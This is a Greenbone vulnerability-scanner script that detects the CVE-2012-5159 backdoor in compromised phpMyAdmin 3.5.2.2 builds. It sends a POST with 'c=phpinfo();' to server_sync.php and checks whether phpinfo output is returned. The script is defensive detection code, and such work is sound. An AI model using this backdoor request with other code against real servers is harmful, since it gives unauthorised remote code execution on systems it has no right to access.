phpMyAdmin 'server_sync.php' Backdoor Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpmyadmin:phpmyadmin";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103577");
  script_cve_id("CVE-2012-5159");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2025-01-31T05:37:27+0000");

  script_name("phpMyAdmin 'server_sync.php' Backdoor Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55672");
  script_xref(name:"URL", value:"http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php");

  script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
  script_tag(name:"creation_date", value:"2012-09-26 09:52:24 +0200 (Wed, 26 Sep 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_phpmyadmin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpmyadmin/http/detected");

  script_tag(name:"solution", value:"The vendor released an update. Please see the references for
  details.");

  script_tag(name:"summary", value:"phpMyAdmin is prone to a backdoor vulnerability.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary code in the
  context of the application. Successful attacks will compromise the affected application.");

  script_tag(name:"affected", value:"phpMyAdmin version 3.5.2.2 is known to be vulnerable. Other
  versions may also be affected.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

host = http_host_name(port:port);

url = dir + "/server_sync.php";

req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(!buf)
  exit(0);

if(buf =~ "^HTTP/1\.[01] 404")
  exit(99);

ex = "c=phpinfo();";
len = strlen(ex);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", len, "\r\n",
             "\r\n",
             ex);

result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if("<title>phpinfo()" >< result) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);